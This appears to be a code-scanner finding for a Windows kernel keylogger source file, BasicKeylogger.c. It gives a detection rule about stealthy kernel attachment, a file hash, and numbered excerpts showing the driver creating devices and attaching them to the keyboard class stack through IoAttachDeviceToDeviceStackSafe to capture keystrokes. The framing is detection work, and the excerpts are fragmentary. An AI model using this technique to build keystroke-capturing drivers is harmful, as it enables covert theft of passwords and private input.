BasicKeylogger.c
Code mentions stealth/stealthyAttach kernel (IoAttachDeviceToDeviceStackSafe)
SHA-256d7f6bb3e10e4e91cba81a6b7bef5c1541f424eb6633ec8b30c41cddaf49e68ba
MaleculeO(Er)H(Os)
Evidence
13// Pointer to the array of keylogger device objects
14PDEVICE_OBJECT KeyloggerDevices[MAX_KEYLOGGERS] = { NULL };
15#define PRINT_GLOBAL_ARR KdPrint(("Status of KeyloggerDevices:\n")); \
16for (int i = 0; i < MAX_KEYLOGGERS; ++i) { \
91 // Attempt to get a reference to this keyboard class
92 // NOTE: This is an incredibly non-stealthy way to do this
93 // See https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iogetdeviceobjectpointer
94 // Anything but FILE_READ_ATTRIBUTES causes an access violation for some reason
116 // At this point we know the target device exists. Now we must make a keylogger device and attach it
117 // Create a device
118 status = IoCreateDevice(
119 pDriverObject, // The driver the device will be associated with
120 sizeof(BASIC_KEYLOGGER_EXTENSION), // The size of device extension we want
141 // Attach to the keyboard class driver
142 status = IoAttachDeviceToDeviceStackSafe( // https://stackoverflow.com/questions/48208105/kmdf-lower-filter-driver Proposes this instead of IoAttachDevice
143 pCurrentKeylogDevice, // The device to attach
144 pTargetDeviceObj, // The target device to attach to
520NTSTATUS Basic_ReadCallback(
521 _In_ PDEVICE_OBJECT pDeviceObject, // This is OUR device object?
522 _In_ PIRP pIrp
523) {